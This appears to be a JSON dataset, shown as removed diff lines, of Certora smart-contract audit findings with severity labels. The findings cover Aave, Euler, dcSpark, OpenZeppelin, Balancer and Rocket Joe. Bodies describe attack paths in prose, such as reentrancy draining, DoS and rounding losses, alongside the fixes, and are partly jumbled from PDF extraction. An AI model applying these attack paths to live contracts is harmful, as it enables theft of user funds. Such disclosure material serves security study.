for asset providers", - "body": "Rules Broken: Add then remove asset Description: Due to the rounding error, depositing asset tokens can result in zero fractions. Repeating this process results in a state where asset providers wouldn\u2019t want to join KashiPair. Fix: Require some minimum assets units in KashiPair www.certora.com \f", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "A staticAToken user can be owed a large sum of reward by the", - "body": "staticAToken if it's not yet registered Rules Broken: Property #44 - getClaimableRewards_stable . see violation Description: Consider a reward token ( REW ) distributed through the INCENTIVES_CONTROLLER to a reward-bearing token that the \fIssue: A staticAToken user can be owed a large sum of reward by the staticAToken if it's not yet registered Concrete Example: StaticAToken holds. At any time, a staticAToken user can invoke any claim method with an array that contains this REW token. If this token is not registered in the StaticATokenLM 's reward list, the user\u02bcs rewardsIndexOnLastInteraction will be 0 by default. When, later, getClaimableRewards() is called, the rewardsIndexOnLastInteraction sent to compute the pending rewards will depend on the value of the user's rewardsIndexOnLastInteraction . That value is the one which will be sent if it is non-zero; however, if the value is zero, _startIndex[REW] will be sent instead. This variable represents a snapshot of the index at the time of registration. However, since the reward isn\u02bct registered, the user\u02bcs index has never been updated, and therefore it is zero. In addition, since the reward isn\u02bct registered the startIndex[REW] is 0. that means that the pending rewards will be calculated as: (balance * currentRewardsIndex)/assetUint This will make the staticAToken owe a large amount of rewards to any user who makes a claim before the registration of the asset. In fact, the staticAToken may owe one or more of its users a larger amount than the incentive owes to the static Token. 1. Take an initialized staticAToken that just started to work with a list of 3 reward tokens that deserve to be collected thanks to the distribution of the incentive controller. 2. On initialization, the contract will register those three tokens in the staticToken internal list. 3. User1 is depositing for the first time at a time t , which updates his user state, i.e. unclaimed, as well as a snapshot of the index at the time of operation. 4. At time t' > t , a new token, REW , is added to the list of rewards that the staticAToken is eligible to claim. 5. Nobody refreshes the reward list in the StaticAToken . 6. User1 take any action he desires, including depositing a lot of money. 7. At time t'' > t' , after some REW s are starting to accumulate in the incentive controller for the staticToken 's right, user1 realises that he\u02bcs eligible for his share of REW and tries to claim it through one of the claim functions of the staticAToken . 8. Since the rewards aren\u02bct registered, the user\u02bcs rewardsIndexOnLastInteraction is never updated and stays at the default value of 0. 9. The pending rewards that staticToken is now owed to the user is [user_balance * (currentIndex - 0)]/assetUnit . This value can be greater than the value actually owed by the incentive controller to the staticAToken . If user1 is the only user in the system staticAToken.balanceOf(user) = \fIssue: A staticAToken user can be owed a large sum of reward by the staticAToken if it's not yet registered incentiveController.deservedRewards(asset, reward, staticAToken) however, the current index of the staticAToken on the incentive controller must be greater than 0 because the reward- bearing token (AToken in this case) makes sure to update the code upon transfer (in handleAction ). Mitigation/Fix: Fixed in PR #29", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Losing one share worth of assets upon deposit", - "body": "Rules Broken: Property #14 - withdrawCheck . see violation Description: Concrete Example: Suppose a user calls the deposit() function with an asset amount anywhere in the range [x/2, x+1) AToken. In that case, the deposit() function will round up the amount of Atokens that needs to be transferred from the sender but will round down the number of staticAToken shares the receiver gets in return. For example, the user sends x+1 Atokens, but receives only x staticAtokens . 1. A user calls deposit() with an asset amount of 9 underlying tokens. The fromUnderlying flag is false , so the AToken.transferFrom() function is called. 2. AToken.transferFrom() function eventually calls the AToken._transfer() function. This function converts the user- specified underlying asset amount to the number of ATokens by calling the rayDiv function with the current rate and asset amount. 3. Due to round-up, rayDiv returns 1 AToken, which is equivalent to 18 underlying tokens. 4. 1 AToken is transferred from the user to the staticAToken contract. 5. The Deposit() function proceeds to calculate the shares to be minted to the user. rayDivRoundDown is called with the rate and the asset amount (9). Due to round-down, rayDivRoundDown returns 0. 6. The user gets 0 shares in return for the 1 AToken deposited in the vault. Mitigation/Fix: Fixed in PR #25", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Non-compliance of deposit() with the EIP4626 standard", - "body": "Rules Broken: Properties #11 & #12 - depositCheck . see violation \fIssue: Non-compliance of deposit() with the EIP4626 standard Description: Concrete Example: As per EIP4626, deposit() must revert if all the assets cannot be deposited. In the contract, if the user calls deposit() with an amount of underlying assets that are less than the equivalent of half an AToken, the function will end up depositing no assets but will inappropriately fail to revert. 1. A user calls the deposit function with 547 of underlying asset tokens. The fromUnderlying flag is false , so the AToken.transferFrom() function is called. 2. AToken.transferFrom() function eventually calls AToken._transfer() . This function converts the user-specified underlying asset amount to the number of ATokens by calling rayDiv with the current rate and asset amount. 3. rayDiv function returns 0 as the asset amount is less than rate/(2RAY) . As a result, 0 ATokens get transferred from the user to the staticAToken contract. 4. The function proceeds with the rest of the execution without reverting. Mitigation/Fix: Fixed in PR #25", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Inconsistency of getUnclaimedRewards() return value units", - "body": "Rules Broken: Property #38 - rewardsConsistencyWhenInsufficientRewards . see violation Description: All the reward-related methods - _getPendingRewards() , collectAndUpdateRewards , _getClaimableRewards , etc., compute and return values in the reward token units. However, getUnclaimedRewards() incorrectly assumes that the user's unclaimedReward amount is stored in RAY units and converts it to WAD . This can cause external protocols relying on the getter's result to interpret and function in a false state. Mitigation/Fix: Fixed in PR #24", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", - "labels": [ - "Certora", - "informational" - ] - }, - { - "title": "Non-compliance of totalAssets() and maxWithdraw with the", - "body": "EIP4626 standard Rules Broken: Property #21 & #26 - totalAssetsMustntRevert , maxWithdrawMustntRevert see violation \fIssue: Non-compliance of totalAssets() and maxWithdraw with the EIP4626 standard Description: Mitigation/Fix: As per EIP4626, both maxWithdraw() and totalAssets() mustn't revert by any means. The implementation, however may revert due to overflow when calling rayMulRoundDown in the first function and rayMul in the second. The only way these methods can revert is when a*b > type(uint256).max , where a is the amount and b is the normalizedIncome . With the following assumptions in mind: (1) type(uint256).max ~=10\u2077\u2077 , (2) normalizedIncome will always be around 10^27 , even with some margin on the index, the revert case will occur only when amount > 10^45 . This is an unreasonably large amount of tokens assuming token decimals <= 18 . All this makes the compliance violation purely theoretical with the currently used tokens.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", - "labels": [ - "Certora", - "informational" - ] - }, - { - "title": "_claimRewardsOnBehalf() stops handling rewards after it", - "body": "encounters address 0 Recommendation: The function _claimRewardsOnBehalf() iterates over an array of rewards passed to it by the user via one of the external claim functions. Currently, the function short-circuits at the first occurrence of address 0 in the array - it exits the function by executing return . Although it is a viable way to handle claims, replacing the return with continue and being more forgiving to protocols that make mistakes in constructing the array is possible. Mitigation/Fix: Fixed in PR #27", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Rules", - "body": "Broken: A governance with a voting token that has 0 total supply will consider all current and future proposals to have reached quorum. quorumReachedEffect , proposalNotCreatedEffects , proposalInOneState \fA governance with a voting token that has 0 total supply will Issue: consider all current and future proposals to have reached quorum. Description: A voting token with 0 token supply will result in all proposals being considered as having reached quorum. This can be an issue in the case that the token has not been initialized/minted, but this case is not as interesting because there will be no tokens to vote with. A more interesting case can arise if the voting token's totalSupply is accidentally set to 0. This will allow all proposals to reach quorum and thus be executable as long as the vote is successful. This is an edge case that should never manifest as long as tokens withhold the invariant that total supply is equal to the sum of all Response: balances, as in this case no one will be able to vote for a proposal and the condition for a successful proposal will never be met (more for votes than against votes).", - "html_url": "https://www.certora.com/wp-content/uploads/2022/10/OZ-final-report.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Rules", - "body": "Broken: Description: TimelockController should not have additional executors beside the governor ( GovernorTimelockControl._execute() ) None An executor can execute a scheduled operation on the TimelockController by calling TimelockController.execute . If the operation was queued using GovernorTimelockControl.queue , this will cause GovernorTimelockControl.execute to revert as the proposal has already been executed by the TimelockController . (Same issue with calling TimelockController.cancel ) Agreed, but probably not any significant consequence. The only Response: consequence is that if the proposal is executed directly in the timelock, the \"ProposalExecuted\" event will never be emitted.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/10/OZ-final-report.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Rules", - "body": "Broken: Description: Protocol hijack by single validator transacationDoesNotExistsImpliesNotConfirmed In the removeTransaction() function, removing a transaction does not set all its confirmations to false. This leaves the transactionId that was removed as pre-confirmed, so a following transaction to that transactionId will be immediately executed (as it already has \fIssue: Protocol hijack by single validator enough votes). An attacker could leverage this to call upgradeContract() function and take control over the protocol The vulnerable removeTransaction function was removed in aa1a4. Asset value upgrade Calling upgradeAsset() on an asset from a low-value token to a high-value token would greatly increase the value a user already owns on that assetId . This improper increase would cause insolvency. The vulnerable updateAsset function was removed in 62e64. Double execution of same request dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Rules Broken:", - "body": "Description: dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Rules", - "body": "Broken: A malicious validator could migrate a proposal that it wants to duplicate and not sign it on-chain. The malicious validator would call the migrate() when ( quorum - 1) signatures are obtained. This would enable them to sign the proposal off-chain and send it to the Description: other side, while the migrated proposal would also likely be signed and sent. Unless the migration process on this side is tracked very tightly by all good validators and the other side's bridge, it would be impossible to distinguish between such a malicious duplication and an actual case of two proposals with the same request. The vulnerable migrateProposal function was removed in b3179. dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "DOS by a validator frontruns transactions", - "body": "Rules Broken: nonDOS A malicious validator can voteForTransaction with the id of the future transaction he wants to prevent and then this transaction will not be able to be submitted. This is a DOS to any transaction that the malicious validator wants to prevent and he can even prevent his removal because he can prevent this transaction. The bridge contract is only deployed to networks where consensus is controlled by the same set of validators that controls the contract. For example, the Milkomeda C1 sidechain is run by the bridge contract validators operating under the IBFT consensus. Under honest majority assumption a corrupt validator will not be able to block their removal from the contract for instance because they can be ejected as a validator on the consensus level (bypassing any communication via EVM transactions). Description: dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Vote on canceled Unwrapping Proposal", - "body": "Rules Broken: \fIssue: Vote on canceled Unwrapping Proposal Validators can vote on a canceled Unwrapping Proposal and may lead to its execution if the quorum is reached. This can happen because there is no way to distinguish between a canceled UPT and a confirmed UPT. The vulnerable migrateProposal function was removed in b3179. Description: dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "DOS by Reset all voting on unwrappingProposals", - "body": "Rules Broken: Description: dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Rules", - "body": "Broken: Description: dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "unwrapping proposal getting stuck after quorum change", - "body": "Rules Broken: Description: If an unwrapping proposal has vote count 'x' that is less than the quorum and the quorum is changed to be less than 'x', the \fIssue: unwrapping proposal getting stuck after quorum change unwrapping proposal will never be executed and will remain stucked because it is flaged as not closed but it's voting had reached the quorum dcSpark Response: Fixed by adding confirmUnwrappingProposalTransaction . to confirm unwrapping proposal transactions that it's votes had reached the quorum", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Replace to zero validator", - "body": "Rules Broken: zeroNotValidator The notnull modifier was missing in the replaceValidator function meaning a majority could add 0x0 as a validator by mistake. Fixed in 35a12. Description: dcSpark Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Anyone can call flashLoan for a receiver [ERC20FlashMint]", - "body": "Description: Anyone can call flashLoan for a receiver . An attacker can call flashLoan repeatedly on a receiver and drain its funds as the receiver contract has to pay back extra fee . Response: We've implemented EIP-3156. If a receiver pays a fee, they should validate the initiator in onFlashLoan", - "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Votes.sol can only support token supply upto 2^224 - 1", - "body": "[Checkpoints.sol push()] Description: Since Votes.sol uses Checkpoints.push , which casts the new value to uint224 , it is only able to support token supply up till type(uint224).max . If this is indeed the case, they should mention it in the comments as they have done it for ERC20Votes.sol Response: Votes is an abstraction of the mechanisme that was first introduced in ERC20Votes . Both are limited, by design, to uint224. We will improve Votes documentation to more clearly reflect that limitation.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", - "labels": [ - "Certora", - "Informational" - ] - }, - { - "title": "Extra unnecessary require [Votes.sol getPastTotalSupply()]", - "body": "Description: require(blockNumber < block.number) is checked twice when calling getPastTotalSupply() Response: The redundant require in getPastTotalSupply was indeed missed. The check should should indeed be removed from Votes.sol to save gas \fSeverity: Informational Issue: Checkpoint Overflow [ERC20Votes.sol, draft-ERC721Votes.sol] Description: Should the number of checkpoints go past 2^32 uint32 index used will no longer function properly resulting in a loss of votes. However, since the property that only one checkpoint per block number is held, this is not believed to be an issue in a realistic time frame The \"key\" art of the Checkpoints is uint32 that is currently used to store block numbers. Having it overflow would be a real issue, but we consider it very unlikelly to ever overflow, at list considering the current Response: chain design. Even if someone was to use block.timestamp based checkpoint to circumvent the unpredictable nature of block number on some L2s (which is a feature that our code doesn't provide out of the box), that overflow would happen in the year 2106.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", - "labels": [ - "Certora", - "Informational" - ] - }, - { - "title": "Equal addresses of contract and msg.sender [ERC20Wrapper.sol", - "body": "depositFor()/withdrawTo()] Description: Contract's address( address(this) ) can be equal to the msg.sender , thus, it's posssible to deposit/withdraw without limits The hability to mint ERC20Wrapper tokens without a counterpart, while apparently not serious, has the ability to create a serious inconsistency between the totalSupply and the amount of underlying token. This could confuse external observer. Additionnaly, extensions of the ERC20Wrapper might include functionnality that use these additionals \"unbacked\" tokens. We will add a check to prevent this. Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Users can prevent their accounts from being liquidated", - "body": "Description: Due to a require statement that is tested during liquidation, users can force all attempts to liquidate their accounts to fail and revert (details below). Response: This issue depends on a malicious asset being promoted out of borrow isolation. Euler has done the suggested hardening to block this speci\ufb01c attack, but governance should be aware the promotion of a malicious asset still has other serious security implications (see the Euler documentation), and assets must be thoroughly vetted before removing isolation or adding collateral factors. www.certora.com \fSeverity: High Issue: \u201cExact output\u201d swaps via Uniswap can leave Uniswap with allowance from Euler Description: The return value from IERC20.approve() is ignored in some cases, allowing to reset Uniswap\u2019s allowance from Euler, they don\u2019t check the return value, which according to the ERC-20 Token Standard, is a boolean value indicating whether the operation succeeded (details). Response: For this problem to occur, an honest token would have to have an approve() method that fails, and that failure must be indicated with a return value of false (instead of reverting). Although we aren\u2019t aware of any such tokens, the Swap module now uses safeApprove() everywhere, as suggested.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Parameters for multihop swaps via Uniswap aren\u2019t validated", - "body": "Description: The functions Swap.swapUniExactInput() and Swap.swapUniExactOutput() don\u2019t properly check params.path, making it possible to steal tokens from Euler (details below). Response: The Swap module depends on approvals being maintained properly. This attack requires approvals to be accidentally granted somehow (potentially as described in the previous issue). As suggested, Euler now makes additional checks on the Uniswap path to validate that the tokens in the path are as expected, although the primary security enforcement remains the approvals system. www.certora.com \fSeverity: Medium Issue: \u201cExact output\u201d swaps via Uniswap don\u2019t support all ERC-20 tokens Description: Many commonly used tokens do not return a boolean from IERC20.approve(); Euler methods will revert for these tokens (details). Response: This was also addressed by changing the Swap module to use safeApprove() everywhere (see above).", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Parameters for swaps via 1inch aren\u2019t validated", - "body": "Description: The function swap1Inch() doesn\u2019t check that params.payload matches params.underlyingIn, params.underlyingOut and params.amount. It also doesn\u2019t check that params.payload speci\ufb01es Euler\u2019s address as both the account who gives away tokens to 1inch and the account who receives the tokens from 1inch. Response: Acknowledged. 1inch has a variety of methods and is used as a black box. To allow the users to use all 1inch\u2019s functions, the code doesn\u2019t enforce any speci\ufb01c format for params.payload. It relies on the approval mechanism of ERC-20 tokens to prevent any malicious swaps. www.certora.com \fSeverity: Medium Issue: Exec.pTokenWrap() doesn\u2019t work with \u201cde\ufb02ationary\u201d ERC-20 tokens Description: Euler is intended to work with de\ufb02ationary tokens, but Exec.pTokenWrap() will fail with these tokens (details). Response: PTokens can only be created for collateral assets. One of the criteria for collateral assets is that their balances are \u201cwell behaved\u201d, which excludes de\ufb02ationary tokens.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "BaseLogic.decreaseBorrow can also increase debt and emit a", - "body": "Borrow event Description: In some cases, rounding error can cause decreaseBorrow to increase the borrow instead (details). Response: Acknowledged. This is a necessary consequence of the design. In order for off-chain systems to properly track the debt owed by an account, Borrow and Repay events are issued. However, interest is accrued second-by-second, which obviously cannot be tracked in real-time with events. To solve this, when an account\u2019s borrow is re-assessed (which it must be in order to increase or decrease a borrow), the accrued interest must be logged. To reduce gas usage and simplify the implementation, what is actually logged is the change in the borrow. So a repay operation for X units will actually result in a Repay event of only X-I units, where I was the interest that accrued. If the repay amount X is in fact smaller than I, then (counter-intuitively) a Borrow event will be issued instead. www.certora.com \fSeverity: Low Issue: Missing initialization of the installer module address Description: A missing initialization results in higher gas costs in every call coming through the installer proxy (details). Response: This only has a gas impact when invoking the Installer module, which is a relatively rare operation and is paid for by governance when upgrading modules, and never by protocol users. Nevertheless, we\u2019ve added the initialisation as suggested.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "View functions in Markets have unde\ufb01ned behavior on invalid", - "body": "input Description: Several view functions in Markets behave inconsistently when their input pair is an invalid underlying token pair Response: This was originally by design, however after discussion with Certora we\u2019ve decided to de\ufb01ne this behaviour for methods where applicable (in the nat spec documentation), and by reverting with error messages elsewhere.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Code cleanliness and gas optimizations", - "body": "Description: During our manual code review, we found several small details that could be improved (details). Response: We have implemented some of the suggested optimisations, where it had a measurable improvement and made sense to do so. www.certora.com \f", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Unexpected revert of queued actions", - "body": "\fIssue: Unexpected revert of queued actions When invoking _queue with a batch of transactions, an action hash is calculated using the keccak256 algorithm on the transaction parameters as the arguments, together with the executionTime , defined as $$block.timestamp + _ delay $$ Given two similiar actions Description: (same function and arguments) in two different blocks, it is possible that after the first one was queued in the first block, the second one will lead to revert since there is a check of queued actions duplication. The execution time could have the same value for both actions if the delay was shortened between these two blocks such that the sum of delay and time stamp is the same. The aforementioned situation leads to an unexpected revert for this function call. Property Violated: independentQueuedActions (Property #18) The community should be aware that any update of the executor parameters could affect the regular behaviour of the queued action AAVE Response: sets of the contract. Then, governance proposals that change the parameters of the executors should be carefully reviewed taking into the account the current state of the executor contract and its queued action sets.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/07/Formal-Verification-Report-of-AAVE-L2-Bridge-July22.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Impossible to queue two similar actions", - "body": "Description: _queue() includes a check whether an action was previously queued but yet to be executed. It does that in order to prevent action duplication in the same block (same actions in different block are allowed). The check is done by mapping each action by its signature, arguments and execution time to a bytes32 hash and assigning each action hash a boolean (mapping) variable _queuedActions[bytes32] . The revert due to the action duplicity prevents any proposal which includes two similar transactions, even if not subsequent. In the case where the proposal wants to execute duplicated actions on AAVE Response: purpose the use of payload contracts is encouraged. Payload contracts help to make all actions of a sophisticated / more complicated proposal clearer and easier to get tracked.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/07/Formal-Verification-Report-of-AAVE-L2-Bridge-July22.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Unexpected action Occurrence upon low-level call", - "body": "\fIssue: Unexpected action Occurrence upon low-level call Description: In the methods executeDelegateCall and _executeTransaction an explicit low-level call is being made on a given target address. The default behavior of such a call in case that the target address does not exist is returning success == true (see in solidity docs). In this case, if the proposal was to specify a target that does not exist the following consequences will apply: 1. The methods will return a success value while the no actual action is being executed. 2. An event will be emitted by execute with a new actionsSetId , the address of the execute caller, and the returndata which will be empty. While the Eth refunded to the executor can be restored by raising a proposal, the emitted event may be misleading - making observers think that the action indeed succeed. Recommendation: It might be worth to check whether the target contract exist by checking the address code size prior to executing. AAVE Response: There could be a case where an action wants to send some value to a pre-calculated address of a contract that will be deployed later on.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/07/Formal-Verification-Report-of-AAVE-L2-Bridge-July22.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "disableRecoveryMode() can be called while not in recovery mode", - "body": "Severity: LOW Rules Broken: None \fIssue: disableRecoveryMode() can be called while not in recovery mode Description: When disableRecoveryMode() is called, it does not check whether or not the system is currently under recovery mode. Rather, it sets recovery mode to false and conducts subsequent updates. In that case the system behaves as if recovery mode was enabled and immediately disabled. It's an interesting finding, though it does Response: not changes the permissions model much, since disabling recovery mode is an extremely rare occurrence It does make for a weird footnote -------- -------- Issue: exiting in recovery mode is advantageous to users Severity: INFORMATIONAL Rules Broken: None Exiting in recovery mode is sometimes more advantageous over Description: exiting in non-recovery mode. We have investigated further to see if a join/exit sequence can be profitable or be used to manipulate prices, however we have not found a scenario for intentional manipulation Response: Aware of potentially advantageous exits in recovery mode. -------- -------- Issue: Denial of Service for increasing amplification factor Severity: INFORMATIONAL Rules Broken: amplificationUpdateCanFinish Description: The startAmplificationUpdate() function allows for value of endTime, the result is that the updating value will continue to be true stopping the system from ever allowing for more amplificationFactorUpdates Response: This issue can be ignored by using the stopAmplificationParameterUpdate() function", - "html_url": "https://www.certora.com/wp-content/uploads/2022/11/Balancersept22.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Zero minimum quorum", - "body": "Description: In Executor.sol , it is possible to set the minimumQuorum to zero. In this case, the significance of a quorum becomes redundant. Response: A check was added in commit 0d9f679", - "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Security-Review-of-Aave-Governance-V2-Update.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Zero or 100% proposition threshold", - "body": "In Executor.sol , it is possible to set the propositionThreshold to zero. In this case, every proposal could be submitted with no Description: restriction whatsoever on the voting power of the submitter. The threshold could also be set to 100%, but smaller values could prevent almost any proposal from being submitted. Response: A check was added in commit 0d9f679", - "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Security-Review-of-Aave-Governance-V2-Update.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Zero grace period", - "body": "Description: In Executor.sol , it is possible to set the gracePeriod in the constructor to zero. If done on purpose or by accident, executing proposals' action sets will be impossible. Response: A check was added in commit 06d71de Informational Issue: Potential use of Level 1 proposal system as a voting proxy for Level 2 proposal system. \fIssue: Potential use of Level 1 proposal system as a voting proxy for Level 2 proposal system. The process of using the AaveEcosystemReserveV2 's voting power on a Level 2 proposal can be similarly repeated in the future. By raising a proposal on Level 1 to upgrade the reserve's implementation and bump the revision number, initialize will be available to be used once again to boost a new Level 2 proposal, or in a worse case, a dedicated functionality for this procedure could be added. Considering the new lower Level 2 conditions and the current AAVE Description: amount in reserve, such functionality, in effect, will allow passing a Level 2 proposal by passing a proposal on Level 1. Taking the current state of things, according to BGDLabs' proposal, the new 'YES' amount needed to pass a vote on Level 2 will be lowered to 1'040'000, while the AaveEcosystemReserveV2 has a voting power of 1'625'351 votes. This is well above the necessary 'YES' amount needed to pass a proposal, making even the differential 'YES/NO' barrier very hard to use as a veto mechanism. Aave Response: We don't think anybody was aware of this possibility before the proposal. We want to make a clear statement that it should not be something to normalize. Yes, it is clear that it becomes easier to \"cheat\" on future Level 2 votes, but there are multiple protections to avoid that (Guardian with cancel, etc.).", - "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Security-Review-of-Aave-Governance-V2-Update.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "User unable to receive LP tokens", - "body": "\fIssue: User unable to receive LP tokens user.hasWithdrawnPair is set to true before the transfer of LP tokens. This results in a pairBalance(user) value of 0. This issue was fixed in commit 4804a0a9. Description: Trader Joe Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Reentrancy attack tokens", - "body": "if the event is stopped and we can call emergencyWithdraw() , we can drain the system and take all the eth. emergencyWithdraw() calls _safeTransferAVAX() which uses the low level call function to msg.sender with amount user.allocation . it sets user.allocation to 0 only after the transfer, but in the transfer, we can call emergencyWithdraw() again and take the user.allocation before it's set to 0 until we take all the money from the system. This issue was fixed in commit 578a4d5c. Description: Trader Joe Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Create bad event DOS", - "body": "anyone can create an event but there can only be a single event for each token. An attacker can create bad event for all the tokens and prevent anyone from creating an event. (bad event can be one with maxAllocation==0 ). This issue was fixed in commit c750e722. Description: Trader Joe Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "LaunchEvent createPair DOS", - "body": "\fIssue: LaunchEvent createPair DOS An attacker can call factory.createPair(address(WAVAX), address(token)) before the LaunchEvent reaches phase three, causing LaunchEvent.createPair() to revert on require(factory.getPair(address(WAVAX), address(token)) == address(0)) . This will prevent anyone from creating a pair for the given token. This issue was fixed in commit 93b2fcc9. Description: Trader Joe Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "rJoeToken not initialized after setter", - "body": "setRJoe(address _rJoe) only sets the rJoe state variable to _rJoe but doesn\u2019t call initialize() on it (the factory constructor also initializes the rJoe token). This issue was fixed in commit 93b2fcc9. Description: Trader Joe Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "lastRewardTimestamp is not set in constructor", - "body": "Description: Trader Joe Response: A user can transfer joe externally to the contract to make accRJoePerShare increase by a huge number in the first updatePool() . This issue was fixed in commit 93b2fcc9.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Anyone can call RocketJoeToken.initialize()", - "body": "the initialize() function has no modifier and thus anyone can invoke it Description: before it is called by the RocketJoeFactory. This prevents RocketJoeFactory from being initialized or changing the rJoe state variable. \fIssue: Anyone can call RocketJoeToken.initialize() Trader Joe Response: We acknowledge this issue, but handle it by making sure the contract is initialized properly post-deployment", - "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "DoS - incorrect handling when depositing underlying tokens", - "body": "Description: When depositing an amount of underlying token that isn't a whole multiplication of the liquidity index to the vault, the contract may reach a dirty state that keeps reverting undesirably on every method that calls accrueYield() . This occurs due to an inaccurate increment of lastVaultBalance that doesn't correspond to the actual increment or decrement in the vault's assets following \fIssue: DoS - incorrect handling when depositing underlying tokens deposit() or mint() . In such cases, lastVaultBalance ends up being greater than ATOKEN.balanceof(vault) , which causes a revert when the new yield is being calculated. The state can be corrected by increasing the existing assets relative to lastVaultBalance . This may occur naturally due to the fact that the token accrue yield from the pool, but it can also be initiated by sending a gift to the contract. initial state: Consider a valid state where index = 10 Ray, totalSupply = 100 Ray, totalAsset = 101Ray . Action 1: A user deposits a sum of 91 underlying tokens through the contract. The first action invoked is accrual, which updates the state to lastVaultBalance = 